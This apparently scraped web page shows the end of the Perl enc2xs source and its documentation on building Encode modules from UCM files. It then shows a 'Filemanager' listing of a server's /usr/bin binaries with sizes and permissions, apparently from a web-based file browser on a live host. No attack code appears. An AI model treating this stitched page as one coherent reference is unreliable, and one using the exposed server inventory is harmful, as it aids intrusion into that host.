    # warn "$_E2X => ", scalar localtime($e2x_dir{$d});
    return $_E2X;
    }
}

sub make_makefile_pl
{
    eval { require Encode } or die "You need to install Encode to use enc2xs -M\nerror: $@\n";
    # our used for variable expansion
    $_Enc2xs = $0;
    $_Version = $VERSION;
    $_E2X = find_e2x();
    $_Name = shift;
    $_TableFiles = join(",", map {qq('$_')} @_);
    $_Now = scalar localtime();

    eval { require File::Spec; };
    _print_expand(File::Spec->catfile($_E2X,"Makefile_PL.e2x"),"Makefile.PL");
    _print_expand(File::Spec->catfile($_E2X,"_PM.e2x"),        "$_Name.pm");
    _print_expand(File::Spec->catfile($_E2X,"_T.e2x"),         "t/$_Name.t");
    _print_expand(File::Spec->catfile($_E2X,"README.e2x"),     "README");
    _print_expand(File::Spec->catfile($_E2X,"Changes.e2x"),    "Changes");
    exit;
}

use vars qw(
        $_ModLines
        $_LocalVer
        );

sub make_configlocal_pm {
    eval { require Encode } or die "Unable to require Encode: $@\n";
    eval { require File::Spec; };

    # our used for variable expantion
    my %in_core = map { $_ => 1 } (
        'ascii',      'iso-8859-1', 'utf8',
        'ascii-ctrl', 'null',       'utf-8-strict'
    );
    my %LocalMod = ();
    # check @enc;
    use File::Find ();
    my $wanted = sub{
	-f $_ or return;
	$File::Find::name =~ /\A\./        and return;
	$File::Find::name =~ /\.pm\z/      or  return;
	$File::Find::name =~ m/\bEncode\b/ or  return;
	my $mod = $File::Find::name;
	$mod =~ s/.*\bEncode\b/Encode/o;
	$mod =~ s/\.pm\z//o;
	$mod =~ s,/,::,og;
	eval qq{ require $mod; } or return;
        warn qq{ require $mod;\n};
	for my $enc ( Encode->encodings() ) {
	    no warnings;
	    $in_core{$enc}                   and next;
	    $Encode::Config::ExtModule{$enc} and next;
	    $LocalMod{$enc} ||= $mod;
	}
    };
    File::Find::find({wanted => $wanted, follow => 1}, grep -d && !/^\./, @INC);
    $_ModLines = "";
    for my $enc ( sort keys %LocalMod ) {
        $_ModLines .=
          qq(\$Encode::ExtModule{'$enc'} = "$LocalMod{$enc}";\n);
    }
    warn $_ModLines if $_ModLines;
    $_LocalVer = _mkversion();
    $_E2X      = find_e2x();
    $_Inc      = $INC{"Encode.pm"};
    $_Inc =~ s/\.pm$//o;
    _print_expand( File::Spec->catfile( $_E2X, "ConfigLocal_PM.e2x" ),
        File::Spec->catfile( $_Inc, "ConfigLocal.pm" ), 1 );
    exit;
}

sub _mkversion{
    # v-string is now depreciated; use time() instead;
    #my ($ss,$mm,$hh,$dd,$mo,$yyyy) = localtime();
    #$yyyy += 1900, $mo +=1;
    #return sprintf("v%04d.%04d.%04d", $yyyy, $mo*100+$dd, $hh*100+$mm);
    return time();
}

sub _print_expand{
    eval { require File::Basename } or die "File::Basename needed.  Are you on miniperl?;\nerror: $@\n";
    File::Basename->import();
    my ($src, $dst, $clobber) = @_;
    if (!$clobber and -e $dst){
    warn "$dst exists. skipping\n";
    return;
    }
    warn "Generating $dst...\n";
    open my $in, $src or die "$src : $!";
    if ((my $d = dirname($dst)) ne '.'){
    -d $d or mkdir $d, 0755 or die  "mkdir $d : $!";
    }	   
    open my $out, ">", $dst or die "$!";
    my $asis = 0;
    while (<$in>){ 
    if (/^#### END_OF_HEADER/){
        $asis = 1; next;
    }	  
    s/(\$_[A-Z][A-Za-z0-9]+)_/$1/gee unless $asis;
    print $out $_;
    }
}
__END__

=head1 NAME

enc2xs -- Perl Encode Module Generator

=head1 SYNOPSIS

  enc2xs -[options]
  enc2xs -M ModName mapfiles...
  enc2xs -C

=head1 DESCRIPTION

F<enc2xs> builds a Perl extension for use by Encode from either
Unicode Character Mapping files (.ucm) or Tcl Encoding Files (.enc).
Besides being used internally during the build process of the Encode
module, you can use F<enc2xs> to add your own encoding to perl.
No knowledge of XS is necessary.

=head1 Quick Guide

If you want to know as little about Perl as possible but need to
add a new encoding, just read this chapter and forget the rest.

=over 4

=item 0.Z<>

Have a .ucm file ready.  You can get it from somewhere or you can write
your own from scratch or you can grab one from the Encode distribution
and customize it.  For the UCM format, see the next Chapter.  In the
example below, I'll call my theoretical encoding myascii, defined
in I<my.ucm>.  C<$> is a shell prompt.

  $ ls -F
  my.ucm

=item 1.Z<>

Issue a command as follows;

  $ enc2xs -M My my.ucm
  generating Makefile.PL
  generating My.pm
  generating README
  generating Changes

Now take a look at your current directory.  It should look like this.

  $ ls -F
  Makefile.PL   My.pm         my.ucm        t/

The following files were created.

  Makefile.PL - MakeMaker script
  My.pm       - Encode submodule
  t/My.t      - test file

=over 4

=item 1.1.Z<>

If you want *.ucm installed together with the modules, do as follows;

  $ mkdir Encode
  $ mv *.ucm Encode
  $ enc2xs -M My Encode/*ucm

=back

=item 2.Z<>

Edit the files generated.  You don't have to if you have no time AND no
intention to give it to someone else.  But it is a good idea to edit
the pod and to add more tests.

=item 3.Z<>

Now issue a command all Perl Mongers love:

  $ perl Makefile.PL
  Writing Makefile for Encode::My

=item 4.Z<>

Now all you have to do is make.

  $ make
  cp My.pm blib/lib/Encode/My.pm
  /usr/local/bin/perl /usr/local/bin/enc2xs -Q -O \
    -o encode_t.c -f encode_t.fnm
  Reading myascii (myascii)
  Writing compiled form
  128 bytes in string tables
  384 bytes (75%) saved spotting duplicates
  1 bytes (0.775%) saved using substrings
  ....
  chmod 644 blib/arch/auto/Encode/My/My.bs
  $

The time it takes varies depending on how fast your machine is and
how large your encoding is.  Unless you are working on something big
like euc-tw, it won't take too long.

=item 5.Z<>

You can "make install" already but you should test first.

  $ make test
  PERL_DL_NONLAZY=1 /usr/local/bin/perl -Iblib/arch -Iblib/lib \
    -e 'use Test::Harness  qw(&runtests $verbose); \
    $verbose=0; runtests @ARGV;' t/*.t
  t/My....ok
  All tests successful.
  Files=1, Tests=2,  0 wallclock secs
   ( 0.09 cusr + 0.01 csys = 0.09 CPU)

=item 6.Z<>

If you are content with the test result, just "make install"

=item 7.Z<>

If you want to add your encoding to Encode's demand-loading list
(so you don't have to "use Encode::YourEncoding"), run

  enc2xs -C

to update Encode::ConfigLocal, a module that controls local settings.
After that, "use Encode;" is enough to load your encodings on demand.

=back

=head1 The Unicode Character Map

Encode uses the Unicode Character Map (UCM) format for source character
mappings.  This format is used by IBM's ICU package and was adopted
by Nick Ing-Simmons for use with the Encode module.  Since UCM is
more flexible than Tcl's Encoding Map and far more user-friendly,
this is the recommended format for Encode now.

A UCM file looks like this.

  #
  # Comments
  #
  <code_set_name> "US-ascii" # Required
  <code_set_alias> "ascii"   # Optional
  <mb_cur_min> 1             # Required; usually 1
  <mb_cur_max> 1             # Max. # of bytes/char
  <subchar> \x3F             # Substitution char
  #
  CHARMAP
  <U0000> \x00 |0 # <control>
  <U0001> \x01 |0 # <control>
  <U0002> \x02 |0 # <control>
  ....
  <U007C> \x7C |0 # VERTICAL LINE
  <U007D> \x7D |0 # RIGHT CURLY BRACKET
  <U007E> \x7E |0 # TILDE
  <U007F> \x7F |0 # <control>
  END CHARMAP

=over 4

=item *

Anything that follows C<#> is treated as a comment.

=item *

The header section continues until a line containing the word
CHARMAP. This section has a form of I<E<lt>keywordE<gt> value>, one
pair per line.  Strings used as values must be quoted. Barewords are
treated as numbers.  I<\xXX> represents a byte.

Most of the keywords are self-explanatory. I<subchar> means
substitution character, not subcharacter.  When you decode a Unicode
sequence to this encoding but no matching character is found, the byte
sequence defined here will be used.  For most cases, the value here is
\x3F; in ASCII, this is a question mark.

=item *

CHARMAP starts the character map section.  Each line has a form as
follows:

  <UXXXX> \xXX.. |0 # comment
    ^     ^      ^
    |     |      +- Fallback flag
    |     +-------- Encoded byte sequence
    +-------------- Unicode Character ID in hex

The format is roughly the same as a header section except for the
fallback flag: | followed by 0..3.   The meaning of the possible
values is as follows:

=over 4

=item |0 

Round trip safe.  A character decoded to Unicode encodes back to the
same byte sequence.  Most characters have this flag.

=item |1

Fallback for unicode -> encoding.  When seen, enc2xs adds this
character for the encode map only.

=item |2 

Skip sub-char mapping should there be no code point.

=item |3 

Fallback for encoding -> unicode.  When seen, enc2xs adds this
character for the decode map only.

=back

=item *

And finally, END OF CHARMAP ends the section.

=back

When you are manually creating a UCM file, you should copy ascii.ucm
or an existing encoding which is close to yours, rather than write
your own from scratch.

When you do so, make sure you leave at least B<U0000> to B<U0020> as
is, unless your environment is EBCDIC.

B<CAVEAT>: not all features in UCM are implemented.  For example,
icu:state is not used.  Because of that, you need to write a perl
module if you want to support algorithmical encodings, notably
the ISO-2022 series.  Such modules include L<Encode::JP::2022_JP>,
L<Encode::KR::2022_KR>, and L<Encode::TW::HZ>.

=head2 Coping with duplicate mappings

When you create a map, you SHOULD make your mappings round-trip safe.
That is, C<encode('your-encoding', decode('your-encoding', $data)) eq
$data> stands for all characters that are marked as C<|0>.  Here is
how to make sure:

=over 4

=item * 

Sort your map in Unicode order.

=item *

When you have a duplicate entry, mark either one with '|1' or '|3'.
  
=item * 

And make sure the '|1' or '|3' entry FOLLOWS the '|0' entry.

=back

Here is an example from big5-eten.

  <U2550> \xF9\xF9 |0
  <U2550> \xA2\xA4 |3

Internally Encoding -> Unicode and Unicode -> Encoding Map looks like
this;

  E to U               U to E
  --------------------------------------
  \xF9\xF9 => U2550    U2550 => \xF9\xF9
  \xA2\xA4 => U2550
 
So it is round-trip safe for \xF9\xF9.  But if the line above is upside
down, here is what happens.

  E to U               U to E
  --------------------------------------
  \xA2\xA4 => U2550    U2550 => \xF9\xF9
  (\xF9\xF9 => U2550 is now overwritten!)

The Encode package comes with F<ucmlint>, a crude but sufficient
utility to check the integrity of a UCM file.  Check under the
Encode/bin directory for this.

When in doubt, you can use F<ucmsort>, yet another utility under
Encode/bin directory.

=head1 Bookmarks

=over 4

=item *

ICU Home Page 
L<http://www.icu-project.org/>

=item *

ICU Character Mapping Tables
L<http://site.icu-project.org/charts/charset>

=item *

ICU:Conversion Data
L<http://www.icu-project.org/userguide/conversion-data.html>

=back

=head1 SEE ALSO

L<Encode>,
L<perlmod>,
L<perlpod>

=cut

# -Q to disable the duplicate codepoint test
# -S make mapping errors fatal
# -q to remove comments written to output files
# -O to enable the (brute force) substring optimiser
# -o <output> to specify the output file name (else it's the first arg)
# -f <inlist> to give a file with a list of input files (else use the args)
# -n <name> to name the encoding (else use the basename of the input file.

With %seen holding array refs:

      865.66 real        28.80 user         8.79 sys
      7904  maximum resident set size
      1356  average shared memory size
     18566  average unshared data size
       229  average unshared stack size
     46080  page reclaims
     33373  page faults

With %seen holding simple scalars:

      342.16 real        27.11 user         3.54 sys
      8388  maximum resident set size
      1394  average shared memory size
     14969  average unshared data size
       236  average unshared stack size
     28159  page reclaims
      9839  page faults

Yes, 5 minutes is faster than 15. Above is for CP936 in CN. Only difference is
how %seen is storing things its seen. So it is pathalogically bad on a 16M
RAM machine, but it's going to help even on modern machines.
Swapping is bad, m'kay :-)

Filemanager

Name Type Size Permission Actions
X11 Folder 0755
NF File 963 B 0755
VGAuthService File 134.54 KB 0755
[ File 50.44 KB 0755
aa-enabled File 34.52 KB 0755
aa-exec File 34.52 KB 0755
aa-features-abi File 30.52 KB 0755
ab File 58.43 KB 0755
add-apt-repository File 14.14 KB 0755
addpart File 14.38 KB 0755
addr2line File 26.7 KB 0755
apport-bug File 2.51 KB 0755
apport-cli File 13.05 KB 0755
apport-collect File 2.51 KB 0755
apport-unpack File 2.02 KB 0755
appres File 14.3 KB 0755
apropos File 47.28 KB 0755
apt File 18.38 KB 0755
apt-add-repository File 14.14 KB 0755
apt-cache File 82.47 KB 0755
apt-cdrom File 26.47 KB 0755
apt-config File 26.39 KB 0755
apt-extracttemplates File 22.47 KB 0755
apt-ftparchive File 230.48 KB 0755
apt-get File 50.47 KB 0755
apt-key File 27.51 KB 0755
apt-mark File 50.47 KB 0755
apt-sortpkgs File 38.4 KB 0755
ar File 54.48 KB 0755
arch File 30.51 KB 0755
aria_chk File 4.51 MB 0755
aria_dump_log File 4.3 MB 0755
aria_ftdump File 4.31 MB 0755
aria_pack File 4.34 MB 0755
aria_read_log File 4.46 MB 0755
as File 456.4 KB 0755
automat-visualize3 File 405 B 0755
awk File 688.46 KB 0755
b2sum File 50.52 KB 0755
base32 File 34.51 KB 0755
base64 File 34.51 KB 0755
basename File 34.51 KB 0755
basenc File 46.51 KB 0755
bash File 1.33 MB 0755
bashbug File 6.66 KB 0755
bc File 90.82 KB 0755
boltctl File 122.98 KB 0755
bootctl File 70.49 KB 0755
btrfs File 844.13 KB 0755
btrfs-convert File 483.25 KB 0755
btrfs-find-root File 439.33 KB 0755
btrfs-image File 467.25 KB 0755
btrfs-map-logical File 439.25 KB 0755
btrfs-select-super File 439.25 KB 0755
btrfsck File 844.13 KB 0755
btrfstune File 443.26 KB 0755
bunzip2 File 38.38 KB 0755
busctl File 90.49 KB 0755
busybox File 2.09 MB 0755
byobu File 8.17 KB 0755
byobu-config File 996 B 0755
byobu-ctrl-a File 4.66 KB 0755
byobu-disable File 1.26 KB 0755
byobu-disable-prompt File 1.31 KB 0755
byobu-enable File 1.15 KB 0755
byobu-enable-prompt File 1.42 KB 0755
byobu-export File 1.32 KB 0755
byobu-janitor File 6.29 KB 0755
byobu-keybindings File 1.47 KB 0755
byobu-launch File 3.25 KB 0755
byobu-launcher File 1.87 KB 0755
byobu-launcher-install File 2.4 KB 0755
byobu-launcher-uninstall File 1.52 KB 0755
byobu-layout File 3.27 KB 0755
byobu-prompt File 1.13 KB 0755
byobu-quiet File 1.38 KB 0755
byobu-reconnect-sockets File 3.22 KB 0755
byobu-screen File 8.17 KB 0755
byobu-select-backend File 1.42 KB 0755
byobu-select-profile File 5 KB 0755
byobu-select-session File 1012 B 0755
byobu-shell File 1.56 KB 0755
byobu-silent File 1.28 KB 0755
byobu-status File 5.87 KB 0755
byobu-status-detail File 1.18 KB 0755
byobu-tmux File 8.17 KB 0755
byobu-ugraph File 4.56 KB 0755
byobu-ulevel File 11.71 KB 0755
bzcat File 38.38 KB 0755
bzcmp File 2.17 KB 0755
bzdiff File 2.17 KB 0755
bzegrep File 3.69 KB 0755
bzexe File 4.78 KB 0755
bzfgrep File 3.69 KB 0755
bzgrep File 3.69 KB 0755
bzip2 File 38.38 KB 0755
bzip2recover File 14.3 KB 0755
bzless File 1.27 KB 0755
bzmore File 1.27 KB 0755
c++filt File 22.27 KB 0755
c_rehash File 6.8 KB 0755
captoinfo File 86.41 KB 0755
cat File 34.46 KB 0755
catman File 34.76 KB 0755
cautious-launcher File 853 B 0755
certbot File 961 B 0755
cftp3 File 956 B 0755
cgi-fcgi File 18.15 KB 0755
chage File 70.49 KB 2755
chardet File 965 B 0755
chardetect File 965 B 0755
chattr File 14.31 KB 0755
chcon File 58.51 KB 0755
checkgid File 14.3 KB 0755
chfn File 71.01 KB 4755
chgrp File 54.51 KB 0755
chmod File 54.51 KB 0755
choom File 22.38 KB 0755
chown File 58.51 KB 0755
chrt File 26.38 KB 0755
chsh File 43.76 KB 4755
chvt File 14.23 KB 0755
cifsiostat File 22.45 KB 0755
ckbcomp File 146.31 KB 0755
ckeygen3 File 962 B 0755
cksum File 34.41 KB 0755
clear File 14.31 KB 0755
clear_console File 14.23 KB 0755
cloud-id File 966 B 0755
cloud-init File 970 B 0755
cloud-init-per File 2.06 KB 0755
clusterdb File 9.21 KB 0755
cmp File 42.39 KB 0755
codepage File 14.15 KB 0755
col File 22.38 KB 0755
col1 File 963 B 0755
col2 File 963 B 0755
col3 File 963 B 0755
col4 File 963 B 0755
col5 File 963 B 0755
col6 File 963 B 0755
col7 File 963 B 0755
col8 File 963 B 0755
col9 File 963 B 0755
colcrt File 14.38 KB 0755
colrm File 14.38 KB 0755
column File 34.38 KB 0755
comm File 34.52 KB 0755
compose File 18.06 KB 0755
composer File 2.62 KB 0755
conch3 File 958 B 0755
containerd File 49.85 MB 0755
containerd-shim File 7.01 MB 0755
containerd-shim-runc-v1 File 9.03 MB 0755
containerd-shim-runc-v2 File 9.05 MB 0755
corelist File 15.01 KB 0755
corepack File 174 B 0755
cp File 138.51 KB 0755
cpan File 8.16 KB 0755
cpan5.34-x86_64-linux-gnu File 8.18 KB 0755
cpio File 141.64 KB 0755
createdb File 9.21 KB 0755
createlang File 9.21 KB 0755
createuser File 9.21 KB 0755
crontab File 38.64 KB 2755
csplit File 106.51 KB 0755
ctail File 960 B 0755
ctr File 25.88 MB 0755
ctstat File 22.66 KB 0755
curl File 254.23 KB 0755
cut File 38.51 KB 0755
cvtsudoers File 296.4 KB 0755
dash File 122.74 KB 0755
date File 102.51 KB 0755
dbilogstrip File 1.35 KB 0755
dbiprof File 6.06 KB 0755
dbiproxy File 5.27 KB 0755
dbus-cleanup-sockets File 14.29 KB 0755
dbus-daemon File 227.32 KB 0755
dbus-monitor File 26.29 KB 0755
dbus-run-session File 14.29 KB 0755
dbus-send File 26.29 KB 0755
dbus-update-activation-environment File 14.29 KB 0755
dbus-uuidgen File 14.29 KB 0755
dbxtool File 26.3 KB 0755
dd File 66.52 KB 0755
deallocvt File 14.23 KB 0755
deb-systemd-helper File 20.89 KB 0755
deb-systemd-invoke File 6.01 KB 0755
debconf File 2.79 KB 0755
debconf-apt-progress File 11.27 KB 0755
debconf-communicate File 608 B 0755
debconf-copydb File 1.68 KB 0755
debconf-escape File 647 B 0755
debconf-set-selections File 2.92 KB 0755
debconf-show File 1.78 KB 0755
debian-distro-info File 22.95 KB 0755
delpart File 14.38 KB 0755
delv File 45.32 KB 0755
df File 83.08 KB 0755
dfu-tool File 110.3 KB 0755
dh_bash-completion File 4.31 KB 0755
dh_perl_dbi File 1.17 KB 0755
diff File 130.55 KB 0755
diff3 File 54.52 KB 0755
dig File 150.83 KB 0755
dir File 134.98 KB 0755
dircolors File 38.52 KB 0755
dirmngr File 433.02 KB 0755
dirmngr-client File 54.92 KB 0755
dirname File 30.38 KB 0755
distro-info File 22.89 KB 0755
dmesg File 70.61 KB 0755
dnsdomainname File 22.23 KB 0755
do-release-upgrade File 10.42 KB 0755
docker File 34.25 MB 0755
docker-proxy File 2.07 MB 0755
dockerd File 95.23 MB 0755
dockerd-rootless-setuptool.sh File 13.62 KB 0755
dockerd-rootless.sh File 5.07 KB 0755
domainname File 22.23 KB 0755
dpkg File 310.69 KB 0755
dpkg-deb File 134.49 KB 0755
dpkg-divert File 118.49 KB 0755
dpkg-maintscript-helper File 20.71 KB 0755
dpkg-query File 138.52 KB 0755
dpkg-realpath File 4.09 KB 0755
dpkg-split File 98.51 KB 0755
dpkg-statoverride File 46.26 KB 0755
dpkg-trigger File 42.41 KB 0755
dropdb File 9.21 KB 0755
droplang File 9.21 KB 0755
dropuser File 9.21 KB 0755
du File 146.51 KB 0755
dumpkeys File 158.71 KB 0755
dwp File 1.82 MB 0755
eatmydata File 2.74 KB 0755
ec2metadata File 8.38 KB 0755
echo File 34.3 KB 0755
ed File 54.49 KB 0755
edit File 18.06 KB 0755
editor File 276.52 KB 0755
editres File 72.69 KB 0755
egrep File 28 B 0755
eject File 42.23 KB 0755
elfedit File 34.72 KB 0755
enc2xs File 40.84 KB 0755
encguess File 3.01 KB 0755
env File 42.95 KB 0755
envsubst File 34.38 KB 0755
eqn File 188.45 KB 0755
ex File 3.61 MB 0755
expand File 34.53 KB 0755
expiry File 22.59 KB 2755
expr File 102.41 KB 0755
factor File 70.51 KB 0755
faillog File 22.59 KB 0755
fallocate File 22.38 KB 0755
false File 26.3 KB 0755
fc-cache File 22.23 KB 0755
fc-cat File 18.23 KB 0755
fc-conflist File 14.23 KB 0755
fc-list File 14.23 KB 0755
fc-match File 14.23 KB 0755
fc-pattern File 14.23 KB 0755
fc-query File 14.23 KB 0755
fc-scan File 14.23 KB 0755
fc-validate File 14.23 KB 0755
fcgistarter File 14.3 KB 0755
fgconsole File 14.23 KB 0755
fgrep File 28 B 0755
filan File 46.48 KB 0755
file File 26.56 KB 0755
finalrd File 2.06 KB 0755
fincore File 22.42 KB 0755
find File 275.48 KB 0755
findmnt File 63.61 KB 0755
flock File 22.48 KB 0755
fmt File 38.51 KB 0755
fold File 34.51 KB 0755
free File 26.23 KB 0755
ftp File 178.9 KB 0755
funzip File 22.3 KB 0755
fuser File 39.31 KB 0755
fusermount File 34.38 KB 4755
fusermount3 File 34.38 KB 4755
fwupdagent File 190.3 KB 0755
fwupdate File 82.3 KB 0755
fwupdmgr File 190.3 KB 0755
fwupdtool File 394.92 KB 0755
galera_new_cluster File 917 B 0755
galera_recovery File 3.29 KB 0755
gapplication File 22.38 KB 0755
gawk File 688.46 KB 0755
gdbus File 50.38 KB 0755
gdk-pixbuf-csource File 14.33 KB 0755
gdk-pixbuf-pixdata File 14.31 KB 0755
gdk-pixbuf-thumbnailer File 18.39 KB 0755
geqn File 188.45 KB 0755
getconf File 34.29 KB 0755
getent File 38.65 KB 0755
getkeycodes File 14.23 KB 0755
getopt File 22.38 KB 0755
gettext File 34.38 KB 0755
gettext.sh File 5.07 KB 0755
ginstall-info File 103.23 KB 0755
gio File 90.4 KB 0755
gio-querymodules File 14.3 KB 0755
git File 3.54 MB 0755
git-receive-pack File 3.54 MB 0755
git-shell File 552.58 KB 0755
git-upload-archive File 3.54 MB 0755
git-upload-pack File 3.54 MB 0755
glib-compile-schemas File 50.3 KB 0755
gold File 3.04 MB 0755
gpasswd File 70.38 KB 4755
gpg File 1 MB 0755
gpg-agent File 312.96 KB 0755
gpg-connect-agent File 82.99 KB 0755
gpg-wks-server File 115.05 KB 0755
gpg-zip File 3.43 KB 0755
gpgcompose File 496.48 KB 0755
gpgconf File 126.73 KB 0755
gpgparsemail File 34.38 KB 0755
gpgsm File 418.9 KB 0755
gpgsplit File 26.55 KB 0755
gpgtar File 63.39 KB 0755
gpgv File 271.04 KB 0755
gpic File 200.04 KB 0755
gprof File 111.79 KB 0755
gpu-manager File 78.82 KB 0755
grep File 178.45 KB 0755
gresource File 22.3 KB 0755
groff File 94.5 KB 0755
grog File 2.71 KB 0755
grops File 162.55 KB 0755
grotty File 118.52 KB 0755
groups File 34.51 KB 0755
growpart File 26.22 KB 0755
grub-editenv File 376.95 KB 0755
grub-file File 816.45 KB 0755
grub-fstest File 937.92 KB 0755
grub-glue-efi File 247.86 KB 0755
grub-kbdcomp File 1.64 KB 0755
grub-menulst2cfg File 228.13 KB 0755
grub-mkfont File 272.42 KB 0755
grub-mkimage File 361.05 KB 0755
grub-mklayout File 252.17 KB 0755
grub-mknetdir File 417.66 KB 0755
grub-mkpasswd-pbkdf2 File 256.2 KB 0755
grub-mkrelpath File 247.58 KB 0755
grub-mkrescue File 998.47 KB 0755
grub-mkstandalone File 493.95 KB 0755
grub-mount File 760.84 KB 0755
grub-ntldr-img File 38.24 KB 0755
grub-render-label File 828.83 KB 0755
grub-script-check File 275.7 KB 0755
grub-syslinux2cfg File 781.34 KB 0755
gsettings File 30.3 KB 0755
gtbl File 126.48 KB 0755
gtk-update-icon-cache File 38.57 KB 0755
gunzip File 2.29 KB 0755
gzexe File 6.3 KB 0755
gzip File 91.23 KB 0755
h2ph File 28.54 KB 0755
h2xs File 59.51 KB 0755
hardlink File 34.43 KB 0755
hd File 50.39 KB 0755
head File 42.51 KB 0755
helpztags File 2.46 KB 0755
hexdump File 50.39 KB 0755
host File 118.82 KB 0755
hostid File 30.51 KB 0755
hostname File 22.23 KB 0755
hostnamectl File 30.38 KB 0755
htcacheclean File 38.31 KB 0755
htdbm File 26.3 KB 0755
htdigest File 14.3 KB 0755
htop File 277.19 KB 0755
htpasswd File 26.3 KB 0755
hwe-support-status File 10.58 KB 0755
i386 File 26.65 KB 0755
iconv File 66.41 KB 0755
id File 38.51 KB 0755
info File 301.74 KB 0755
infobrowser File 301.74 KB 0755
infocmp File 62.38 KB 0755
infotocap File 86.41 KB 0755
innochecksum File 3.57 MB 0755
innotop File 445.44 KB 0755
install File 142.52 KB 0755
install-info File 103.23 KB 0755
instmodsh File 4.27 KB 0755
ionice File 18.38 KB 0755
iostat File 54.44 KB 0755
ip File 702.05 KB 0755
ipcmk File 22.45 KB 0755
ipcrm File 18.38 KB 0755
ipcs File 38.38 KB 0755
iptables-xml File 96.95 KB 0755
ischroot File 14.2 KB 0755
iscsiadm File 398.46 KB 0755
java File 14.13 KB 0755
jexec File 14.12 KB 0755
join File 46.55 KB 0755
journalctl File 78.39 KB 0755
jpackage File 14.14 KB 0755
js File 117.69 MB 0755
json-patch-jsondiff File 1004 B 0755
json_pp File 4.88 KB 0755
json_xs File 6.85 KB 0755
jsondiff File 1004 B 0755
jsonlint-php File 3.01 KB 0755
jsonpatch File 3.77 KB 0755
jsonpointer File 1.79 KB 0755
jsonschema File 397 B 0755
kbd_mode File 14.52 KB 0755
kbdinfo File 18.23 KB 0755
kbxutil File 62.83 KB 0755
keep-one-running File 3.51 KB 0755
kernel-install File 4.79 KB 0755
keyring File 961 B 0755
keytool File 14.14 KB 0755
kill File 30.23 KB 0755
killall File 31.34 KB 0755
kmod File 166.36 KB 0755
kmodsign File 18.45 KB 0755
landscape-sysinfo File 624 B 0755
last File 34.38 KB 0755
lastb File 34.38 KB 0755
lastlog File 27.63 KB 0755
lcf File 7.6 KB 0755
ld File 1.66 MB 0755
ld.bfd File 1.66 MB 0755
ld.gold File 3.04 MB 0755
ldd File 5.32 KB 0755
less File 194.38 KB 0755
lessecho File 14.31 KB 0755
lessfile File 8.83 KB 0755
lesskey File 23.7 KB 0755
lesspipe File 8.83 KB 0755
letsencrypt File 961 B 0755
lexgrog File 99.75 KB 0755
libnetcfg File 15.41 KB 0755
link File 30.51 KB 0755
linux-boot-prober File 1.54 KB 0755
linux-check-removal File 3.99 KB 0755
linux-update-symlinks File 6.17 KB 0755
linux-version File 2.63 KB 0755
linux32 File 26.65 KB 0755
linux64 File 26.65 KB 0755
listres File 14.73 KB 0755
ln File 58.51 KB 0755
lnstat File 22.66 KB 0755
loadkeys File 198.76 KB 0755
loadunimap File 30.32 KB 0755
locale File 57.56 KB 0755
locale-check File 14.15 KB 0755
localectl File 26.37 KB 0755
localedef File 326.96 KB 0755
logger File 34.97 KB 0755
login File 51.73 KB 0755
loginctl File 58.48 KB 0755
logname File 30.51 KB 0755
logresolve File 14.31 KB 0755
look File 18.38 KB 0755
lowntfs-3g File 114.98 KB 0755
ls File 134.98 KB 0755
lsattr File 14.31 KB 0755
lsb_release File 3.55 KB 0755
lsblk File 122.38 KB 0755
lscpu File 98.38 KB 0755
lshw File 901.2 KB 0755
lsinitramfs File 706 B 0755
lsipc File 50.38 KB 0755
lslocks File 30.7 KB 0755
lslogins File 50.38 KB 0755
lsmem File 34.38 KB 0755
lsmod File 166.36 KB 0755
lsns File 38.38 KB 0755
lsof File 163.62 KB 0755
lspci File 92.08 KB 0755
lspgpot File 1.06 KB 0755
lsusb File 246.52 KB 0755
luit File 48.44 KB 0755
lzcat File 82.52 KB 0755
lzcmp File 6.86 KB 0755
lzdiff File 6.86 KB 0755
lzegrep File 5.87 KB 0755
lzfgrep File 5.87 KB 0755
lzgrep File 5.87 KB 0755
lzless File 1.76 KB 0755
lzma File 82.52 KB 0755
lzmainfo File 14.23 KB 0755
lzmore File 2.11 KB 0755
mailmail3 File 964 B 0755
man File 117.68 KB 0755
man-recode File 35.68 KB 0755
mandb File 139.94 KB 0755
manifest File 1.9 KB 0755
manpath File 30.78 KB 0755
mapscrn File 30.32 KB 0755
mariadb File 4.09 MB 0755
mariadb-access File 109.31 KB 0755
mariadb-admin File 3.86 MB 0755
mariadb-analyze File 3.86 MB 0755
mariadb-binlog File 4.11 MB 0755
mariadb-check File 3.86 MB 0755
mariadb-conv File 3.57 MB 0755
mariadb-convert-table-format File 4.12 KB 0755
mariadb-dump File 3.94 MB 0755
mariadb-dumpslow File 8.05 KB 0755
mariadb-find-rows File 3.21 KB 0755
mariadb-fix-extensions File 1.22 KB 0755
mariadb-hotcopy File 34.15 KB 0755
mariadb-import File 3.85 MB 0755
mariadb-install-db File 22.46 KB 0755
mariadb-optimize File 3.86 MB 0755
mariadb-plugin File 3.55 MB 0755
mariadb-repair File 3.86 MB 0755
mariadb-report File 48.07 KB 0755
mariadb-secure-installation File 13.49 KB 0755
mariadb-service-convert File 2.45 KB 0755
mariadb-setpermission File 17.56 KB 0755
mariadb-show File 3.84 MB 0755
mariadb-slap File 3.86 MB 0755
mariadb-tzinfo-to-sql File 3.55 MB 0755
mariadb-upgrade File 3.98 MB 0755
mariadb-waitpid File 3.53 MB 0755
mariadbcheck File 3.86 MB 0755
mariadbd-multi File 26.7 KB 0755
mariadbd-safe File 30.42 KB 0755
mariadbd-safe-helper File 3.51 MB 0755
mawk File 154.79 KB 0755
mc File 1.05 MB 0755
mcdiff File 1.05 MB 0755
mcedit File 1.05 MB 0755
mcookie File 26.45 KB 0755
mcview File 1.05 MB 0755
md5sum File 42.41 KB 0755
md5sum.textutils File 42.41 KB 0755
mdig File 50.4 KB 0755
mesg File 14.38 KB 0755
migrate-pubring-from-classic-gpg File 2.99 KB 0755
mk_modmap File 15.78 KB 0755
mkdir File 66.51 KB 0755
mkfifo File 38.51 KB 0755
mknod File 42.51 KB 0755
mksquashfs File 254.68 KB 0755
mktemp File 38.51 KB 0755
more File 42.38 KB 0755
mount File 46.38 KB 4755
mountpoint File 18.38 KB 0755
mpstat File 50.45 KB 0755
msql2mysql File 1.41 KB 0755
mt File 66.73 KB 0755
mt-gnu File 66.73 KB 0755
mtr File 72.25 KB 0755
mtr-packet File 38.3 KB 0755
mv File 134.52 KB 0755
my_print_defaults File 3.54 MB 0755
myisam_ftdump File 3.86 MB 0755
myisamchk File 3.98 MB 0755
myisamlog File 3.85 MB 0755
myisampack File 3.88 MB 0755
mysql File 4.09 MB 0755
mysql_convert_table_format File 4.12 KB 0755
mysql_find_rows File 3.21 KB 0755
mysql_fix_extensions File 1.22 KB 0755
